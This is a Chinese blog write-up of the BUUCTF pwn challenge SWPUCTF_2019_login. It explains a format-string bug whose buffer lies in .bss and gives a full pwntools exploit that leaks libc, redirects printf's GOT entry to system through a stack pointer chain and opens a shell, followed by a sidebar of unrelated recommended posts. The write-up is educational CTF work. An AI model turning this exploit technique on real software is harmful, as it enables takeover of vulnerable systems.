BUUCTF之“SWPUCTF_2019_login”

bss上格式化字符串处理【buuoj】SWPUCTF_2019_login 这道题用了两种方法去做,一种是修改got表,零一种是修改返回值控制执行流。 IDA分析 很明显的格式化字符串漏洞,但是是在bss段上 总结一下32位格式化字符串在bss段上的处理方法就是:寻找一个类似ebp的栈上寄存器,如下图 通过修改这个ebp,可以修改上图0xffc78f38的值为想要的(记住:格式化字符串修改栈上指针指向区域的地址,因此是0xffc78f38)如果想要劫持got表,寻找下面80开头的数据(和got表比较相关)修改完后就可以变成下图这样 (思考一下为什么要这么写:因为一般的格式化字符 阅读详情

与以往不同,输入的格式化字符串被输入在".bss"段中,也无法直接任意内存写。
这里 格式化字符串在bss段上的情况:间接修改printf.got表为system,,,
ebp对应的地址映射比较关键

至于题目程序分析就不具体分析了,看其余师傅的即可。
这里还不错,程序本身无限循环,让printf格式化漏洞利用比较方便。
我们考虑利用修改printf的got表为system,输入参数,得到shell。

WP:

from pwn import*
p=remote('node4.buuoj.cn',27208)
#context.log_level='debug'

elf=ELF('./log')
libc=ELF('./32libc-2.27.so')

def fmtsend(addr,plase):
    p.recvuntil('Try again!\n')
    payload='%'+str(addr)+'c'+'%'+str(plase)+'$hn'
    p.sendline(payload)


p.sendlineafter('name:','aaa')
payload1='%15$p'
p.sendlineafter('password:',payload1)
p.recvuntil('This is the wrong password: ')
libc_start_main = int(p.recvuntil('\n')[:-1],16)-241


libc_base =libc_start_main-libc.symbols['__libc_start_main']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()


payload2='%6$p'
p.sendlineafter('Try again!\n',payload2)
p.recvuntil('This is the wrong password: ')
target=int(p.recvuntil('\n')[:-1],16)


top_stack_now=target-0x28
stack_addr=top_stack_now+0x2c
stack_addr2=top_stack_now+0x24
bian1=stack_addr&0xffff
bian2=elf.got['printf']&0xffff
bian3=stack_addr2&0xffff
system_low=system &0xffff
system_hign=(system>>16)&0xffff


fmtsend(bian1,6)
fmtsend(bian2,10)
fmtsend(bian1-8,6)
fmtsend(bian2+2,10)


payload0='%'+str(system_low)+'c'+'%'+str(11)+'$hn'+'%'+str(system_hign-system_low)+'c'+'%'+str(9)+'$hn'
p.recvuntil('Try again!\n')
p.sendline(payload0)
#p.sendline(';/bin/sh\x00')
p.sendline(';sh')

p.interactive()

根据以上WP盘点下收获:

  1. 首先是格式化字符串漏洞的泄露问题:
    可以在printf函数调用处下断点,进而查看stack,看看里边有什么内容,本题发现有“__libc_start_main”这个东西而且后面直接给了距离“__libc_start_main”的偏移量,那么泄露出来就很好计算libc基地址,进而求system与binsh。
  2. 另外本题与之前的“格式化字符串”在栈中的题目不同,被输入到了bss段上,但是我们还是得修改printf的got为system的,那么如何做到?
    我们来回忆一下:
    最初格式化字符串被送到栈上的时候:栈上某个栈的地址存的就是elf.got[“printf”] (而且一般是“0x8048,,,,”)多少的。进而利用%n修改。
    那么如果我们将栈上类似存的数据(0x8048,,,,)的改成printf.got不就一样了吗,,,,,,

稍稍解释一下WP:
在这里插入图片描述

结合这张图

fmtsend(bian1,6)
fmtsend(bian2,10)

这是在间接修改栈上d06c处的0x8048689为printf.got的值(0x848,,,,)
因为修改函数“ fmtsend”是2个字节2个字节修改的,所以为了提高修稿成功性,将总共4个字节的真正printf函数地址全部修改位system地址

fmtsend(bian1-8,6)
fmtsend(bian2+2,10)

这个间接修改d064处的0x804b080位printf.got值的(print.got+2)对应的效果就是修改了printf.got表高2字节。

【PWN系列】格式化字符串在bss段上的处理 个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 参考网址: http://www.starssgo.top/2019/12/06/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%9C%A8bss%E6%AE%B5%E7%9A%84%E5%A4%84%E7%90%86/ 第一次遇到这种题,想写wp记录一下,但确实不知道该怎么写才通俗易懂,最后还是感觉结合exp一步一步调试应该会更通俗易懂。 题目分析 开启 阅读详情

相关推荐

从零拆解快手Web端__NS_hxfalcon:JS逆向签名参数定位与复现

在JS逆向与前端反爬攻防中,签名参数总是绕不开的核心环节。无论是接口加密还是请求签名,其本质都是通过在客户端收集环境信息、时间戳与业务参数,经特定算法计算后生成用于服务端校验的动态令牌。理解这类参数的生成原理,不仅能提升逆向分析效率,也能帮助前端开发者更好地设计自身接口防护方案。在实际工程中,面对经Webpack打包且高度混淆的代码,直接全局搜索参数名往往难以奏效,需要结合请求抓包、调用栈跟踪、环境适配等方法逐步定位。此类签名参数广泛存在于现代Web应用的GraphQL或REST接口中,是接口数据安全的重要

weixin_29474431的博客 336

SWPUCTF_2019_login

SWPUCTF_2019_login 查看保护 格式化字符串漏洞,但是s1和正常的栈上格式化不一样,这里是非栈上。 攻击思路:因为是非栈上,所以需要借助ebp这里的链子来实现将printf_got改为system_addr。 1.首先借助这个格式化漏洞拿到libc和ebp的地址。 2.接下来就是借助ebp这条链子将printf_got改到这个链子上,最后的结构为下图 用%6$hhn来修改%10$处的数据然后%10$hhn来修改%14$处的数据最后使得使得%14$处为printf的GOT表地址,同样的

z1r0的博客 820

Python爬虫实战:如何高效抓取拼多多商品信息、销量与价格数据,破解反爬虫挑战

**摘要:**本文介绍利用Python爬虫技术抓取拼多多商品数据(价格、销量等)的方法与应用价值。通过分析拼多多商品页面的HTML结构,使用Requests和Selenium获取数据,并应对反爬虫机制(IP代理、请求头伪装等)。数据可存储于MongoDB或CSV用于市场监控、竞品分析等场景。文章涵盖技术选型、实战代码示例及反爬策略,为电商数据分析提供实用指导。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1673

【Pwn】SWPUCTF_2019_login

例行查看程序保护。 分析程序,最里面函数存在格式化字符串漏洞。但是格式化字符串不再栈上,而在bss段上,没办法直接任意地址读写,于是动态调试观察栈上数据。 观察到fff65158指向fff65168,fff65168指向fff65178。那么就可以修改fff65168的内容,然后再观察栈上还有什么有用数据,注意到fff65160和fff65164的值离got表很近,于是想到可以修改这两个地方的后...

Nothing 1355

华为昇腾Atlas 200I DK A2实战:从开箱到运行首个AI应用

本文详细介绍了华为昇腾Atlas 200I DK A2开发板从开箱到运行首个AI应用的全过程。包括硬件准备、系统烧录、开发板连接方案、AI应用运行及性能优化技巧,帮助开发者快速上手部署AI项目,提升开发效率。

weixin_27038245的博客 591

MT5策略如何设置回测结果才能最接近实盘

摘要:在MT5回测中,选择"每笔分笔报价"模式最接近实盘交易,因其使用真实Tick数据模拟价格波动、点差和滑点。关键设置包括:下载高质量历史数据、合理设定点差和滑点、使用正常回测速度。该模式能准确测试挂单、止盈止损等策略,虽然速度较慢但结果最可靠,避免其他模式造成的失真,是评估交易策略表现的最佳选择。(149字)

weixin_38915451的博客 1878

BUU_SWPUCTF_2019_login非栈上格式化字符串

对于栈上的格式化字符串可以通过直接将对应地址写入栈中,然后利用三链对任意写入地址修改,非栈上也就是不能直接写入,利用格式化字符串一样可以修改,只是要麻烦一点。

qq_70452545的博客 426

tmux + Claude Code 远程开发指南:从 WSL 配置到断线无忧

远程开发中,SSH 连接中断常导致后台任务丢失,这是困扰开发者的经典难题。tmux 作为终端复用器,通过将进程挂在常驻会话中,使其脱离 SSH 连接独立运行,从根本上解决了断线导致的任务终止问题。Claude Code 等 AI 编程代理需要长时间运行并保持交互上下文,恰好依赖这种会话持久化能力。结合 Windows Subsystem for Linux 提供类 Unix 环境,开发者可在 Windows 上实现稳定的远程开发工作流。本文将完整介绍从 WSL 环境配置、tmux 会话管理,到与 Claud

weixin_30423065的博客 348

swpuctf2019 Login pwn详细题解

Login 这是swpuctf2019的第二道pwn题,主要考点就是非栈上的字符串格式化漏洞利用。 首先,我们检查一下程序的保护机制 PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表 我们用IDA分析一下 在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以...

seaaseesa的博客 1951

记录LeNet的硬件加速器设计(一)

LeNet的硬件加速器设计实现。

2301_81029398的博客 3543

springboot源码 红色J_通达信副图指标源码之,出手就赢

今天跟大家分享一个通达信副图指标源码,本指标没有未来函数,因为本指标没有卖点提示,所以本指标需配合主图指标使用效果会更好,简单易懂,很容易明白,所以就不过多介绍使用方法了,以下是指标的贴图。风险提示!股市有风险买卖需谨慎,本指标只做参考建议,不做买卖交易结果,自己要对自己交易结果的盈亏负责,以下是指标的源码。VAR2:=REF(LOW,1);VAR3:=SMA(ABS(LOW-VAR2),3,1)...

weixin_39859909的博客 2847

BUU-SWPUCTF_2019_login

非栈上格式化字符串漏洞 具体原理:由于不在栈上,所以我们可控数据没法写到栈上,也就没有办法变成printf的某个参数 例(buu-SWPUCTF_2019_login) 检查保护,没pie,got可被修改 IDA查看程序,存在格式化字符串漏洞 思路:由于不存在栈溢出,且没有给libc,那么我们的思路就有限了,修改printf的got 问题分析: 首先这是一道32位的非栈上格式化字符串漏洞,那么与普通格式化字符串漏洞相比较有什么区别呢? 首先栈信息泄露是相同的,但是找偏移的话较为不

m0_46204503的博客 2345

[Python从零到壹] 十四.机器学习之分类算法五万字总结全网首发(决策树、KNN、SVM、分类对比实验)

分类(Classification)属于有监督学习(Supervised Learning)中的一类,它是数据挖掘、机器学习和数据科学中一个重要的研究领域。分类模型类似于人类学习的方式,通过对历史数据或训练集的学习得到一个目标函数,再用该目标函数预测新数据集的未知属性。本章主要讲述分类算法基础概念,并结合决策树、KNN、SVM分类算法案例分析各类数据集,从而让读者学会使用Python分类算法分析自己的数据集,研究自己领域的知识,从而创造价值。 19.1 分类 19.1.1 分类模型 与前面讲述的聚类模型类似

杨秀璋的专栏 2万+

格式化字符串在bss段上的处理

格式化字符串在bss段上的内容处理 先查看程序保护,保护全开 拿到程序一眼就看到了格式化字符串的漏洞 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h]...

playmaker的博客 2943

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

非栈上的格式化字符串漏洞(bss段)-playfmt

已buu上的hitcontraining_playfmt为例没有开FULL RELRO,也就是说got表可改,那么我们的思路就是把printf的got表改成system,输入/bin/sh即可拿到shell最终exp把libc地址抓进栈中因为libc的地址只有低8位不同,通过写入低字节把printf_got抓到栈中把print_got+2抓入栈中(把print_got改成system要一半一半的改)把printf_got改成systemnum2是计算用来进行格式字符串漏洞利用时的一个重要部分。

zhuo1358的博客 1440

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

BUUCTF--pwn--[第五空间2019 决赛]PWN5【格式化字符串】

BUUCTF--pwn--[第五空间2019 决赛]PWN5

qq_73149934的博客 1062

暑假集训——Hitcon_Trainning——lab9_playfmt——格式化字符串漏洞_字符串在bss段

格式化字符串漏洞 思路 一开始就是没有思路,太菜了,真的太菜了TAT。 这里的buf是在bss段,也就是意味着没有办法用常规方法做。 看了大佬的wp才知道可以控制ebp来实现地址任意写。 但是我觉得或许用栈迁移也可以试一下。 先写一波控制ebp! 控制ebp 首先,格式化字符串漏洞的两个利用方式 泄露栈上内容 改写某地址内容(前提是这个地址要在栈上,也就是printf可控的地方) 原理...

qq_41667316的博客 907

关于在栈上格式化字符串漏洞的利用方法

先说一下这个思路吧,就是通过两次格式化字符串漏洞,第一次泄露libc_base,以及栈里面的一个地址(任意)第二次修改printf的返回地址为one_gadget去getshell。

cainiao78777的博客 642

fmt在bss段(neepusec_easy_format)

fmt在bss段(neepusec_easy_format) 1.gdb操作 vmapp stack retaddr 2.思路 先泄漏能够泄漏的地址包括:当前站地址、libc地址 然后通过下面的指令进行地址写 #这里是只要覆盖偏移为12的地址值的后两个字节 debug() offset0 = ret&0xffff payload = '%'+str(offset0)+'c%12$hnxxxx\x00' p.sendline(payload) p.recvuntil('x

huzai9527的博客 556

格式化字符串漏洞及利用_萌新食用

Y格式化字符串漏洞及利用前言格式化字符串漏洞 具有 任意地址读,任意地址写。固定布局 ...

蚁景网安学院 967

PWN练习---Stack_2

BUUCTF靶场——srop,putsorsys,re2tcsu_1,traveler

qq_74259765的博客 1403

[第五空间2019 决赛]PWN5-BUUCTF-格式化字符串

第一眼就看到了'system',看一下条件,这里的atoi函数指的是把字符串转换成整数,而'nptr'就是输入的'passwd',再看看另外一个'dword_804C044'表示这个'0x804C044'地址,那意思就是如果输入的'passwd'的值与'dword_804C044'相等就行了,那就改写一下'0x804C044'的值。'指向的内存位置中。这个表示从上面的文件中读取4个字节的字符,并将读取的数据存储到。有canary,栈溢出无望。数了一下,偏移量为10。

yuqie的博客 476

非栈上的格式化字符串利用例题讲解

具体来说,就是用%n,把如图的0x7fffffffdda0所指向的0x7fffffffddb0改成0xfffffffdd98,这样的话,我们用%n作用在第八个参数就可以修改第七个参数所储存的内容了!%n 和 %s一样,都是类似于指针的东西,比如我对第7个参数进行%n ,那么实际上修改的并不是第七个参数里的数据,而是把第七个参数里存的数据当成。改got只能一次成型,因为如果分多次,导致printf的got表改变,就不会再执行pirntf函数了,因此需要一次性修改,否则将会失败。,然后修改指针指向的对应内容。

fzucaicai的博客 967

[BUUCTF-pwn] [HarekazeCTF2019]LoginSystem

printf漏洞的fmtstr见得多了,scanf第一次见 while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("Create an account first."); printf("# of charsets: "); __isoc99_scanf("%lu", &v5); getchar(); if ( v5 <=

weixin_52640415的博客 675

[CTF]PWN--非栈上格式化字符串漏洞

一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,也就是非栈上格式化字符串漏洞,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。本文主要为大家介绍BSS段上的格式化字符串漏洞的解法。

2301_79880752的博客 3307
上一篇: BUUCTF之“ciscn_2019_sw_1”
下一篇: 关于ubuntu16安装pwndbg的惨痛经历,以及终于找到的解决办法
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值